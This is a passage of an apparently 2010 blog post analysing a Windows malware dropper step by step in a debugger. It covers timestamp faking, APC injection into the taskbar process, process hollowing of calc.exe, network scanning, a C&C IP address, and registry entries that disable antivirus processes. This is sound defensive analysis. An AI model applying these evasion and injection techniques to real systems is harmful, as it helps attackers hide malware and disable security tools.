src=\"\/wp-content\/uploads\/2010\/12\/image_thumb111.png\" width=\"620\" height=\"367\" \/><\/a><\/p>\n<ul>\n<li>The contents of 0x00380000 is then written to actxprxy.dll <\/li>\n<\/ul>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">md5sum &quot;c:\\windows\\system32\\actxprxy.dll&quot;\n\\9f38806e51264cf7d72294b6a01808f2 *c:\\\\windows\\\\system32\\\\actxprxy.dll<\/pre>\n<ul>\n<li>Memory at 0x00380000 is freed <\/li>\n<li>Run sfc.SfcIsFileProtected against actxprxy.dll (outcome : 1) <\/li>\n<li>Run function sfc.ordinal nr 5 <\/li>\n<li>c:\\windows\\system32\\actxprxy.dll gets removed <\/li>\n<li>Copies the new temp file back to c:\\windows\\system32\\actxprxy.dll.&#160; (md5 : 9f38806e51264cf7d72294b6a01808f2) <\/li>\n<li>reads the timestamp of user32.dll and writes the timestamp to rmoc3260.tlb <\/li>\n<\/ul>\n<blockquote>\n<p>Rewriting a timestamp is a commonly used technique to make people think the binary is an OS binary - it is located in the system32 folder and it has the same timestamp as the other OS modules, so it must be an OS module, right ?<\/p>\n<\/blockquote>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image114.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb112.png\" width=\"650\" height=\"334\" \/><\/a><\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">C:\\WINDOWS\\system32&gt;md5sum rmoc3260.tlb\nb1785cd02d83300d4b5be51ab1416c35 *rmoc3260.tlb\n\nC:\\WINDOWS\\system32&gt;dir rmoc3260.tlb \nVolume in drive C has no label. \nVolume Serial Number is F0E1-C604 \nDirectory of C:\\WINDOWS\\system32\n14\/04\/2008  13:00            58.880 rmoc3260.tlb               \n1 File(s)         58.880 bytes<\/pre>\n<ul>\n<li>call 0x0040178D :\n<ul>\n<li>generate string &quot;c:\\Program Files\\Real\\pnen3260.dll&quot; <\/li>\n<li>create filehandle from 0x10000000 (handle 0x28) <\/li>\n<li>create folder &quot;c:\\Program Files\\Real\\&quot;&#160; (if it does not exist) <\/li>\n<li>Get function pointer to GetTaskManWindow <\/li>\n<li>Copy temp file to c:\\Program Files\\Real\\pnen3260.dll&quot; (md5 : b1785cd02d83300d4b5be51ab1416c35) <\/li>\n<li>Get function pointer to RtlAdjustPrivilege <\/li>\n<li>Copy 0x400 byes of payload from l.exe to the stack&#160; (from 0x00401518 to 0x0012EA90) <\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image115.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb113.png\" width=\"547\" height=\"149\" \/><\/a><\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image89.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb88.png\" width=\"547\" height=\"491\" \/><\/a><\/p>\n<ul>\n<li>run RtlAdjustPrivilege (0x14 : SeIncreaseBasePriorityPrivilege) <\/li>\n<li>run GetTaskManWindow()&#160; and then gets a pointer to &quot;Documents and Settings\\&lt;user&gt;\\Application Data&quot; <\/li>\n<li>call 0x10004C96 which first calls 0x1000400A (LocalAlloc, Flags = LPTR, Side = 1d0; pointer 0014C270). That function calls 0x10005B20. In that routine, data is copied from 1000B120 to 0014C2E0 (88 bytes)\u2026 So it looks like it's building another payload&#160; \/ copying functions from the dll <\/li>\n<\/ul>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image116.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb114.png\" width=\"506\" height=\"556\" \/><\/a><\/p>\n<p>Next, a loop at 10004089 completes the payload (strings, pointers to strings) around 0014Cxxx.<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image611.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image611_thumb.png\" width=\"381\" height=\"317\" \/><\/a><\/p>\n<p>This loop eventually returns back to 10004074.&#160; At that point, a loop is started (0x160 iterations) which reads strings from the payload around 0014C3xx. <\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image118.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb116.png\" width=\"450\" height=\"336\" \/><\/a><\/p>\n<p>Pointers to those strings are written to an array a little bit above the strings themselves :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image119.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb117.png\" width=\"525\" height=\"310\" \/><\/a><\/p>\n<p>Those strings are :&#160; <\/p>\n<ul>\n<li>%APPDATA%\\Tencent <\/li>\n<li>Accept: *\/* <\/li>\n<li>_!RKU#PNP#090921!_ <\/li>\n<li>http:\/\/ <\/li>\n<li>Software\\RealOne <\/li>\n<li>RVClass <\/li>\n<li>htmlfile\\shell\\open\\command <\/li>\n<li>wininet.dll <\/li>\n<li>.7z <\/li>\n<li>dnsapi.dll <\/li>\n<li>%s%s <\/li>\n<li>iphlpapi.dll <\/li>\n<li>Plugin2a.Section <\/li>\n<li>Class <\/li>\n<li>mswsock.dll <\/li>\n<li>Session.SessionAcl.%d <\/li>\n<li>ws2_32.dll <\/li>\n<li>.exe <\/li>\n<li>%ProgramFiles%\\Real <\/li>\n<li>ra32clv.dll <\/li>\n<li>sipr3260.dll <\/li>\n<li>pngu3267.dll <\/li>\n<li>shlwapi.dll <\/li>\n<li>user32.dll <\/li>\n<li>DialogBoxParam <\/li>\n<\/ul>\n<p>and then the function returns to 10004CA2.<\/p>\n<p>Now function 0x10002DA2 is called, retrieving pointer to string &quot;kernel32.dll&quot;, and returns to 10004CB5, where the baseaddress of kernel32.dll is retrieved first, and then 10004198 is called. In that function, a seh record is inserted (by function 10005F00), pointing the handler to 10005F54. <\/p>\n<p>When that function returns, function 0x10002D8B is called, making EAX point at kernel32.base + F0&#160; (basically pointing to string &quot;PE&quot; in kernel32.dll), and returns.<\/p>\n<p>Next, a loop between 0x100041DD and 1000422E is executed, which gets function names from kernel32, and retrieves the pointer to function (using a hash, calculated at 0x10004177) : kernel32.QueueUserAPC.<\/p>\n<p>Next, the SEH record is removed again (the one that was inserted before retrieving the function name), and the function returns back to 10004CC3.&#160; A little bit further, 10004A6E gets called, where user32.GetTaskmanWindow() gets called, and a pointer to &quot;Documents and Settings\\&lt;user&gt;\\Application Data&quot; is returned in eax.&#160; Then, GetWindowThreadProcessID() with the following parameters :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0012EA44   0001007E  ~..  |hWnd = 0001007E ('Running Applications',class='MSTaskSwWClass',parent=00010078)\n0012EA48   0012EA4C  L\u00ea.  \\pProcessID = 0012EA4C<\/pre>\n<p>This returns 0x689 in eax, and then the function returns to 10004CD5.<\/p>\n<p>At 10004CD5, kernel32.OpenProcess() is called on ProcessID 650, returning 0x7C in eax.&#160; Then kernel32.VirtualAllocEx is called, with the following arguments:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0012EA44   0000007C  |...  |Arg1 = 0000007C\n0012EA48   00000000  ....  |Arg2 = 00000000\n0012EA4C   00001000  ...  |Arg3 = 00001000\n0012EA50   00001000  ...  |Arg4 = 00001000\n0012EA54   00000040  @...  \\Arg5 = 00000040<\/pre>\n<p>The function returns pointer 00990000.&#160; Next, kernel32.WriteProcessMemory() is called, with the following arguments :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0012EA44   0000007C  |...  |hProcess = 0000007C (window)\n0012EA48   00990000  ..&#x2122;.  |Address = 990000\n0012EA4C   0012EA90  \u0090\u00ea.  |Buffer = 0012EA90\n0012EA50   00001000  ...  |BytesToWrite = 1000 (4096.)\n0012EA54   0012EA78  x\u00ea.  \\pBytesWritten = 0012EA78<\/pre>\n<p>Then, function 10004A93 is called, which first patches some stuff on the stack and then runs CreateToolhelp32Snapshot() with flags TH32CS_SNAPTHREAD, on ProcessID 0, returning 0x80 in eax.<\/p>\n<p>Then, a loop is initiated (starting with Thread32First, and looping with Thread32Next (on hSnapshot 0x80, and pThreadEntry 0012EA24)),&#160; until thread 650 is found.<\/p>\n<p>Then, the thread is opened OpenThread(001F03FF,00000000,0x654), returning 0x84 in eax.&#160; This is followed by call to kernel32.<a href=\"http:\/\/msdn.microsoft.com\/en-us\/library\/ms684954(v=vs.85).aspx?ppud=4\">QueueUserAPC<\/a> (with eax pointing at 0x84) and then handle 0x84 is closed.<\/p>\n<p>As a result, a new executable module gets loaded : c:\\windows\\system32\\divxdec.dll, at base 00390000<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">C:\\WINDOWS\\system32&gt;md5sum divxdec.dll\n1f913d37379cc0d3a8ab069f0e4df19a *divxdec.dll<\/pre>\n<p>Function returns, closes handle 7c and function 10002D95 is called, which runs LocalFree() on 0014C298 and then returns. <\/p>\n<p>At 10004D48, the function leaves the dll\/tmp code, and returns to 004018CA (l.exe), which returns to 0040215D.<\/p>\n<p>At 0040218C, kernel.FreeLibrary is called (on 10000000), unloading the tmp\/flle file. This is followed by a call to DeleteFileA() of the tmp file, removing the file as well.<\/p>\n<p>&#160;<\/p>\n<h3>Time to take a deep breath.<\/h3>\n<p>We have seen the code use anti-debugger tricks, SEH structures to redirect flow &amp; maybe fool automated detection tools. The code loaded a tmp file as&#160; dll, reproduced code in heap (taking pieces from various locations to do so), executed new code, created threads, unloaded the dll and removed tmp files again.&#160; <\/p>\n<p>The code has dropped files, edited registry, removed files.&#160;&#160; All of that happened within one blink of the eye.&#160; Based on the various routines that we used to find function pointers, base addresses etc, we might even suspect that this was written by various people, or pieces of code re-used from other similar malware, or maybe the developer did this on purpose.<\/p>\n<p>Anyways\u2026 I think most of the preparation of the malware is done now, and the code is ready to infect\u2026 or not ?<\/p>\n<p>&#160;<\/p>\n<h3>Let's continue\u2026<\/h3>\n<p>We are at 00401D90.&#160; Here, we observe a call to MSVCRT.memset(s=0012FB50, c=00, n = 0x44), clearing 0x44 bytes on the stack at 0012FB50. Then a memcpy is executed (copying 0x400 bytes from 0012E884 to 00401000), overwriting a big chunck of the .text section in the l.exe file. At first sight, this doesn't really change the code.<\/p>\n<p>Then, GetModuleFileNameA is run (PathBuffer = 0012EC90, BufSize 0x104), a pointer to strings &quot;calc&quot; is fetched from the string array (at 00333A19), and CreateProcess is called (at 00401E05):<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image120.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb118.png\" width=\"745\" height=\"251\" \/><\/a><\/p>\n<p>StartupInfo is at 0012FB50 and pProcessInfo is at 0012FB98.&#160; The CreateProcess call will load library c:\\windows\\system32\\Apphelp.dll<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">C:\\WINDOWS\\system32&gt;md5sum apphelp.dll\ncf492d7e9af1c628b3536d20ef6f5cc7 *apphelp.dll\n\nC:\\WINDOWS\\system32&gt;dir apphelp.dll\n Volume in drive C has no label.\n Volume Serial Number is F0E1-C604\n\n Directory of C:\\WINDOWS\\system32\n\n14\/04\/2008  13:00           125.952 apphelp.dll\n               1 File(s)        125.952 bytes\n               0 Dir(s)  10.022.322.176 bytes free<\/pre>\n<p>ProcessExplorer shows the new calc.exe process :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image122.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb119.png\" width=\"642\" height=\"125\" \/><\/a><\/p>\n<p>Then, at 00401E44, VirtualAlloc() is executed, returning pointer 000A0000, and then some data on the stack (around 0012F8A8) is cleared(160 bytes), followed by a call to WriteProcessMemory(), which will write 0x10000 bytes from 0012E884 to the newly allocated heap at 0xA0000.<\/p>\n<p>GetThreadContext() is then called (hThread = 0x90, pContext = 0012F884), writing some bytes to the stack in that area (0012F884).&#160; Then, some of those bytes are altered, and next SetThreadContext() (hThread = 0x90, pContext = 0012F884) is called (patching the thread). Finally, ResumeThread on 0x90 is run, followed by ExitProcess(0), terminating l.exe<\/p>\n<p>ProcessExplorer also indicates that calc.exe terminated.<\/p>\n<p>But the game isn't over.&#160; <\/p>\n<p>A few moments later, netstat reveals that something is trying to connect to hosts on the same network range (class B so it seems) and tries to connect to ports 445 and 139.&#160; So it looks like it's now trying to connect (and maybe infect) other machines on the same network\u2026 but not only locally\u2026 it also starts scanning public IP addresses in the same network.<\/p>\n<p>So maybe calc.exe was spawned &amp; told to do all the really dirty work ?<\/p>\n<p>After rebooting the box, the box seems to connect to &quot;C&amp;C \/ botmaster&quot; (?) servers<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">  TCP    10.0.2.15:1026         173.244.193.146:80     ESTABLISHED\n  TCP    10.0.2.15:1029         173.244.193.146:443    ESTABLISHED<\/pre>\n<p>and proceeds with the scanning :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">C:\\WINDOWS&gt;netstat -na\n\nActive Connections\n\n  Proto  Local Address          Foreign Address        State\n  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING\n  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING\n  TCP    10.0.2.15:139          0.0.0.0:0              LISTENING\n  TCP    10.0.2.15:1026         173.244.193.146:80     ESTABLISHED\n  TCP    10.0.2.15:1039         10.0.2.2:135           ESTABLISHED\n  TCP    10.0.2.15:1040         10.0.2.3:135           ESTABLISHED\n  TCP    10.0.2.15:1041         10.0.2.4:135           ESTABLISHED\n  TCP    10.0.2.15:1062         10.0.2.3:135           ESTABLISHED\n  TCP    10.0.2.15:1084         10.0.2.2:135           ESTABLISHED\n  TCP    10.0.2.15:1105         10.0.2.4:135           ESTABLISHED\n  TCP    10.0.2.15:1106         10.0.2.2:135           CLOSE_WAIT\n  TCP    10.0.2.15:1107         10.0.2.3:135           CLOSE_WAIT\n  TCP    10.0.2.15:1121         10.0.2.4:135           CLOSE_WAIT\n  TCP    10.0.2.15:1149         10.0.2.1:80            SYN_SENT\n  TCP    127.0.0.1:1025         0.0.0.0:0              LISTENING<\/pre>\n<p>The process\/task responsible for the network connectivity is PID 4, which is &quot;System&quot; <\/p>\n<p>If we look back at the results (procmon &amp; thread analysis), we can see that a lot more &quot;damage&quot; was done than what was seen in the debugger :<\/p>\n<p>Files changed by l.exe :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">C:\\WINDOWS\\system32\\rmoc3260.tlb\nC:\\Documents and Settings\\Obzy-CLMAL\\Local Settings\\Temp\\F.tmp\nC:\\Documents and Settings\\Obzy-CLMAL\\Local Settings\\Temp\\12.tmp\n\nC:\\WINDOWS\\system32\\actxprxy.dll\nC:\\Program Files\\Real\\pnen3260.dll\nC:\\Documents and Settings\\Obzy-CLMAL\\Application Data\\JSON.kml\n\nC:\\Documents and Settings\\Obzy-CLMAL\\Application Data\\Tencent\\~DF19.exe\nC:\\Documents and Settings\\Obzy-CLMAL\\Application Data\\Tencent\\~DF21.exe\nC:\\Documents and Settings\\Obzy-CLMAL\\Application Data\\Tencent\\~DF29.exe\nC:\\Documents and Settings\\Obzy-CLMAL\\Application Data\\Tencent\\~DF2D.exe\nC:\\Documents and Settings\\Obzy-CLMAL\\Application Data\\Tencent\\~DF36.exe\nC:\\Documents and Settings\\Obzy-CLMAL\\Application Data\\Tencent\\~DF3A.exe\nC:\\Documents and Settings\\Obzy-CLMAL\\Application Data\\Tencent\\~DF3E.exe\nC:\\Documents and Settings\\Obzy-CLMAL\\Application Data\\Tencent\\~DF42.exe\nC:\\Documents and Settings\\Obzy-CLMAL\\Application Data\\Tencent\\~DF46.exe\nC:\\Documents and Settings\\Obzy-CLMAL\\Application Data\\Tencent\\~DF4A.exe\nC:\\Documents and Settings\\Obzy-CLMAL\\Application Data\\Tencent\\~DF4E.exe\nC:\\Documents and Settings\\Obzy-CLMAL\\Application Data\\Tencent\\~DF53.exe\nC:\\Documents and Settings\\Obzy-CLMAL\\Application Data\\Tencent\\~DF57.exe\nC:\\Documents and Settings\\Obzy-CLMAL\\Application Data\\Tencent\\~DF5E.exe\nC:\\Documents and Settings\\Obzy-CLMAL\\Application Data\\Tencent\\~DF65.exe\nC:\\Documents and Settings\\Obzy-CLMAL\\Application Data\\Tencent\\~DF6B.exe\nC:\\Documents and Settings\\Obzy-CLMAL\\Application Data\\Tencent\\~DF70.exe\nC:\\Documents and Settings\\Obzy-CLMAL\\Application Data\\Tencent\\~DF76.exe\nC:\\Program Files\\Common Files\\real\\Plugins\\xmlp1092c.dll\n\nC:\\Program Files\\ComPlus Applications\\pncrt.dll\n\nC:\\Documents and Settings\\Obzy-CLMAL\\Local Settings\\Temp\\25.tmp\n\nC:\\WINDOWS\\AppPatch\\AcXtrnal.xml\nC:\\WINDOWS\\system32\\divxdec.dll\nC:\\Documents and Settings\\Obzy-CLMAL\\Local Settings\\Temp\\31.tmp\nC:\\Documents and Settings\\Obzy-CLMAL\\Local Settings\\Temp\\34.tmp\nC:\\WINDOWS\\system32\\mswsock.dll\nC:\\Program Files\\ComPlus Applications\\spcommon.dll\nC:\\Program Files\\ComPlus Applications\\mssoap2.dll\nC:\\Program Files\\ComPlus Applications\\XPlayer.dll\n\nC:\\Program Files\\ComPlus Applications\\repodbc.dll\nC:\\Program Files\\ComPlus Applications\\mdw.dll\nC:\\Program Files\\ComPlus Applications\\regutils.dll\nC:\\Program Files\\WinRar\\UNACEV32.DLL\nC:\\Program Files\\ComPlus Applications\\iedw.dll\nC:\\Documents and Settings\\Obzy-CLMAL\\Local Settings\\Temp\\kb222545.sve\nC:\\Program Files\\Common Files\\System\\kb222545.tmt\nC:\\WINDOWS\\system32\\ddraw.dll.dat\nC:\\WINDOWS\\system32\\ddraw.dll.dat\nC:\\WINDOWS\\system32\\ddraw.dll.PEFQ\nC:\\WINDOWS\\system32\\ddraw.dll\nC:\\Documents and Settings\\Obzy-CLMAL\\Local Settings\\Temp\\tempVidio.bat\nC:\\Documents and Settings\\Obzy-CLMAL\\Local Settings\\Temp\\kb559824.sve\nC:\\Program Files\\Common Files\\System\\kb559824.bwb\nC:\\WINDOWS\\system32\\dsound.dll.dat\nC:\\WINDOWS\\system32\\dsound.dll.dat\nC:\\WINDOWS\\system32\\dsound.dll.CEXU\nC:\\WINDOWS\\system32\\dsound.dll\nC:\\Documents and Settings\\Obzy-CLMAL\\Local Settings\\Temp\\tempVidio.bat\nC:\\Documents and Settings\\Obzy-CLMAL\\Local Settings\\Temp\\kb806283.sve\nC:\\Program Files\\Common Files\\System\\kb806283.rdc\nC:\\WINDOWS\\system32\\d3d8thk.dll.dat\nC:\\WINDOWS\\system32\\d3d8thk.dll.dat\nC:\\WINDOWS\\system32\\d3d8thk.dll.ZJHV\nC:\\WINDOWS\\system32\\d3d8thk.dll\nC:\\Documents and Settings\\Obzy-CLMAL\\Local Settings\\Temp\\tempVidio.bat\nC:\\Documents and Settings\\Obzy-CLMAL\\Local Settings\\Temp\\kb008103.sve\nC:\\Program Files\\Common Files\\System\\kb008103.srd\nC:\\WINDOWS\\system32\\d3d8thk.dll.dat\nC:\\WINDOWS\\system32\\d3d8thk.dll.dat\nC:\\WINDOWS\\system32\\d3d8thk.dll.FLGU\nC:\\WINDOWS\\system32\\d3d8thk.dll\nC:\\Documents and Settings\\Obzy-CLMAL\\Local Settings\\Temp\\tempVidio.bat\nC:\\Documents and Settings\\Obzy-CLMAL\\Local Settings\\Temp\\kb335462.sve\nC:\\Program Files\\Common Files\\System\\kb335462.dma\nC:\\WINDOWS\\system32\\dsound.dll.dat\nC:\\WINDOWS\\system32\\dsound.dll.dat<\/pre>\n<p>Registry changes :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\360tray.exe &quot;Debugger&quot; = ntsd -d\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\safeboxtray.exe &quot;Debugger&quot; = ntsd -d\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\avp.exe &quot;Debugger&quot; = ntsd -d\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\kavstart.exe &quot;Debugger&quot; = ntsd -d\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\rstray.exe &quot;Debugger&quot; = ntsd -d\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\nod32krn.exe &quot;Debugger&quot; = ntsd -d\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ekrn.exe &quot;Debugger&quot; = ntsd -d\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\egui.exe &quot;Debugger&quot; = ntsd -d\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\360sd.exe &quot;Debugger&quot; = ntsd -d\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\360rp.exe &quot;Debugger&quot; = ntsd -d\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ZhuDongFangYu.exe &quot;Debugger&quot; = ntsd -d\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LiveUpdate360.exe &quot;Debugger&quot; = ntsd -d\nHKEY_LOCAL_MACHINE\\SOFTWARE\\RealOne &quot;Class&quot; = [REG_BINARY, size: 512 bytes]\nHKEY_LOCAL_MACHINE\\SOFTWARE\\RealOne &quot;0&quot; = [REG_BINARY, size: 16 bytes]\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Gabest\\v2\\{F93D056D-ABB8-416F-AA6E-0E9C061309B1} &quot;Hex&quot; = [REG_BINARY, size: 512 bytes]\nHKEY_LOCAL_MACHINE\\SOFTWARE\\RealOne &quot;1&quot; = [REG_BINARY, size: 16 bytes]\nHKEY_LOCAL_MACHINE\\SOFTWARE\\RealOne &quot;2&quot; = [REG_BINARY, size: 16 bytes]\nHKEY_LOCAL_MACHINE\\SOFTWARE\\RealOne &quot;3&quot; = [REG_BINARY, size: 16 bytes]\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Gabest\\v2\\{17E0BB06-EEAF-4513-B6D7-604214076F57} &quot;Hex&quot; = [REG_BINARY, size: 512 bytes]\nHKEY_LOCAL_MACHINE\\SOFTWARE\\RealOne &quot;4&quot; = [REG_BINARY, size: 16 bytes]\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Gabest\\v2\\{7FDF64E3-EADA-40C4-91A5-11665A86D7D6} &quot;Hex&quot; = [REG_BINARY, size: 512 bytes]\nHKEY_LOCAL_MACHINE\\SOFTWARE\\RealOne &quot;5&quot; = [REG_BINARY, size: 16 bytes]\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Gabest\\v2\\{FEF400DE-D05A-4789-ABC4-F26122753257} &quot;Hex&quot; = [REG_BINARY, size: 512 bytes]\nHKEY_LOCAL_MACHINE\\SOFTWARE\\RealOne &quot;6&quot; = [REG_BINARY, size: 16 bytes]\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Gabest\\v2\\{915C7EE5-583B-4685-9529-66FE0297ABF9} &quot;Hex&quot; = [REG_BINARY, size: 512 bytes]\nHKEY_LOCAL_MACHINE\\SOFTWARE\\RealOne &quot;7&quot; = [REG_BINARY, size: 16 bytes]\nHKEY_LOCAL_MACHINE\\SOFTWARE\\RealOne &quot;8&quot; = [REG_BINARY, size: 16 bytes]\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Gabest\\v2\\{89A83CDE-E6BF-433C-A1D5-8AF0D66389AD} &quot;Hex&quot; = [REG_BINARY, size: 512 bytes]\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\kavstart.exe &quot;Debugger&quot; = ntsd -d\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\kwatch.exe &quot;Debugger&quot; = ntsd -d\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\kswebshield.exe &quot;Debugger&quot; = ntsd -d\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\kmailmon.exe &quot;Debugger&quot; = ntsd -d\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\kissvc.exe &quot;Debugger&quot; = ntsd -d\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\360tray.exe &quot;Debugger&quot; = ntsd -d\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows 